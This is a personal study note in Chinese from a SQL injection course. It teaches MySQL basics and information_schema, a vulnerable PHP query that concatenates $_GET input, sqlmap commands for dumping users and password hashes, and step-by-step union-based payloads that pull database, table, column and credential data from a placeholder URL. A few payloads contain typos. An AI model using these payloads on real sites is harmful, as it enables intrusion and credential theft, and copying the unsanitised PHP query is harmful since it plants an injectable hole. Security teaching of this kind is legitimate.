SQL注入入門

9塊9的SQL注入公開課筆記

目錄

  1. SQL注入簡介
  2. MySQL入門
  3. PHP基本入門
  4. 注入講解

SQL注入簡介

SQL注入是一種將SQL代碼添加到輸入參數中傳遞到SQL服務器解析並執行的一種方法

SQL注入產生條件:

  1. 有傳遞參數
  2. 參數傳入到數據庫中
  3. 在數據庫中執行

MySQL入門

information_schema數據庫

  • MySQL大致分爲兩類,MySQL5.0以上及以下

    MySQL5.0以上會增加一個information_schema系統數據庫

  • information_schema系統數據庫

    在mysql中把information_schema看作是一個數據庫,確切說是信息數據庫,其中保存着關於mysql服務器維護的所有其他數據庫信息

    • SCHEMATA表

    ​ 提供當前mysql實例中所有數據庫信息

    • TABLES表

    提供了關於數據庫中表的信息,詳細表述了某個數據庫中所有表的信息

    • COLUMNS表

    提供了表中的列信息,詳細描述了某張表的所有列以及每個列的信息

  • mysql庫下的user表中存放的是所有登錄mysql數據庫的用戶名和密碼

    下列sqlmap語句都是查詢的mysql庫下的user表的裏的列信息

    sqlmap -u "xxx?id=1" --current-user //查詢當前登錄用戶
    sqlmap -u "xxx?id=1" --users  //查詢所以登錄該數據庫的用戶名
    sqlmap -u "xxx?id=1" --passwords  //查詢用戶密碼通常爲sqlmd5加密

select語句

  • select語句在數據庫中作用於查詢

    select * from test.users 
    //查詢test庫下的users表中的所有數據
    select username from test.users 
    //查詢test庫下的users表中username的列數據
    select * from test.users where id=1 
    //查詢test庫下的users表中id爲1的數據
    select * from test.users where address='china' and username='lzx'
    //查詢test庫下的users表中address爲china並且username爲lzx的數據

以最後一個語句舉例:

​ select * from test.users where address='china' and username='lzx'

​ select * from test.users 代表查詢的位置,查詢test庫下users表中的所有數據

​ where 在哪 後面需要加上查詢的條件

​ address='china' test庫下users表中address列爲China的數據

​ and 和、並且 有多個查詢條件時

​ username=‘lzx’ test庫下users表中username列爲lzx的數據

在較多的數據中查詢,用到多個條件會使查詢的結果更加準確

假設下面這個表格就是我們要查的數據,如果只用到了address=china的話會查出來三個數據,但是我們要查詢的是address=china並且username=lzx的數據,所有需要用兩個條件來進行查詢

id address username
1 china lzx
2 China abc
3 China def

and邏輯

兩邊的條件同爲true的時候整體表示正確,若有一個爲false則整體爲false

還是根據上面的表格來進行分析,隨便寫一個語句

select * from test.users where id=1 and username=lzx

剛纔我們提到了and左右兩邊的條件有邏輯規則,上面的句子我們的兩個條件就是id跟username

現在這個語句是成立的,兩邊條件都是true,直接查詢可以查詢出來數據

現在我們把一個條件改成錯誤的

select * from test.users where id=1 and username=xxx

這樣的話兩邊的條件一個爲true一個爲false,這樣是查不出來數據的會報錯

兩個條件都是true這個語句纔是true,若有一個條件爲false則整體語句爲false

判斷注入點

我們通常會構造錯誤的sql語句來判斷網站是否存在注入(' and =1 and 1=2)

select * from users where id=1 (id=1 後面的這個1就是從前端傳遞的參數),這是正常的語句

如果把參數改成 id=1' 那麼就會報錯,因爲 ‘ 屬於字符串,字符串被代入查詢了

還有就是id=1 and 1=1 這樣的語句兩邊條件成立就是可以查詢到數據的

如果是id=1 and 1=2 這樣的兩個條件不成立會報錯查詢不到數據

一般通過上面這三個步驟就可以判斷是否存在注入點

閉合

注入一般可以分爲數字型跟字符型

select * from users where id=1

select * from users where username='lzx'

如果我們想在第二個語句後面加上and1=1這樣語句就會報錯,需要進行閉合

select * from users where username='lzx and 1=1' 報錯

我們需要執行的是username=lzx,所以我們需要讓and1=1在單引號外面執行

select * from users where username='lzx’ and 1=1‘(注意單引號加的位置)但是多了一個單引號

這時候可以用註釋符號來解決

select * from users where username='lzx and 1=1#' (#號)

select * from users where username='lzx‘ and 1=1 -- ' (倆橫線+空格)

通過閉合這兩句都是可執行的

order by語句

order by 排序語句 默認升序排序

select * from test.users order by 1
//根據表格的第一列排序
select * from test.users order by 2
//根據表格第二列排序
select * from test.users order by 3
//根據表格第三列排序
id age name
1 18 NULL
2 22 a
3 26 b

union語句

union 聯合查詢語句

union內部的select語句必須擁有相同數量的列,列也必須擁有相似的數據類型,每條select語句中的列的順序必須相同

id username password
1 admin 123456
2 sa 33333
3 root 11111
select username from users union select password from users
//查詢users表中username列和password列的數據
username
admin
root
sa
11111
123456
33333
select * from users union select 1,1,1 from users
id username password
1 admin 123456
2 sa 33333
3 root 11111
1 1 1

插入的數據應該與列數一致,現在是三列出入插入的數據是4個就會報錯

PHP基礎入門

打開php文件的條件:

​ 電腦裝有php環境

​ 需要有服務器(apache,iis,nginx)進行解析,可以使用 phpstudy、phpstorm

變量規則

  • 變量以$符號開頭,後面是變量名稱
  • 變量名稱必須以字母或下劃線開頭
  • 變量名稱不能以數字開頭
  • 變量名稱只能包含字母數字
  • 變量名稱只對大小寫敏感
<?php

echo "hello world";

?>

$ _GET與$ _POST

$id=$_GET['id'];
$id=$_POST['id'];

mysqli_connect()

$con=mysqli_connect("localhost","root","root","test");

代入查詢

$sql="select * from users where id=$id";
$result = mysqli_query($con,$sql);

注入講解

判斷是否存在注入

注入查詢

  • information_schema系統數據庫

    在mysql中把information_schema看作是一個數據庫,確切說是信息數據庫,其中保存着關於mysql服務器維護的所有其他數據庫信息

  • SCHEMATA表

​ 提供當前mysql實例中所有數據庫信息

  • TABLES表

    提供了關於數據庫中表的信息,詳細表述了某個數據庫中所有表的信息

  • COLUMNS表

    提供了表中的列信息,詳細描述了某張表的所有列以及每個列的信息

  • 加上limit參數避免查詢的數據太長無法顯示,limit參數從0開始計算

  • http://url/sql_id.php?id=-1 union select 1,2,3,4,5,6 方便查看輸出的數據

  • http://url/sql_id.php?id=-1 union select 1,database(),3,4,5,6 查詢數據庫名稱

  • http://url/sql_id.php?id=-1 union select (select schema_name from information_schema.schemata limit 0,1),2,3,4,5,6

    //查詢information_schema庫下的schemata表中的schema_name列下的第一個數據

  • http://url/sql_id.php?id=-1 union select 1,(select table_name from information_schema.tables where table_schema='test' limit 0,1),3,4,5,6

    //查詢information_schema庫下的tables表中的table_name列下的第一個數據

  • http://url/sql_id.php?id=-1 union select 1,(select colunm_name from information_schema.columns where table_schema='test' and table_name='users limit 0,1),3,4,5,6

    //查詢information_schema庫下的columns表中的column_name列下的第一個數據

  • http://url/sql_id.php?id=-1 union select 1,(select username from test.users limit 0,1),(select password from test.users limit 0,1),3,4,5,6

    //查詢test庫下的users表中的username列的第一個數據,查詢test庫下的users表中的password列的第一個數據

    注:個人筆記,如果有理解錯誤或者寫的不嚴謹的地方歡迎讀者老爺們告訴我

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章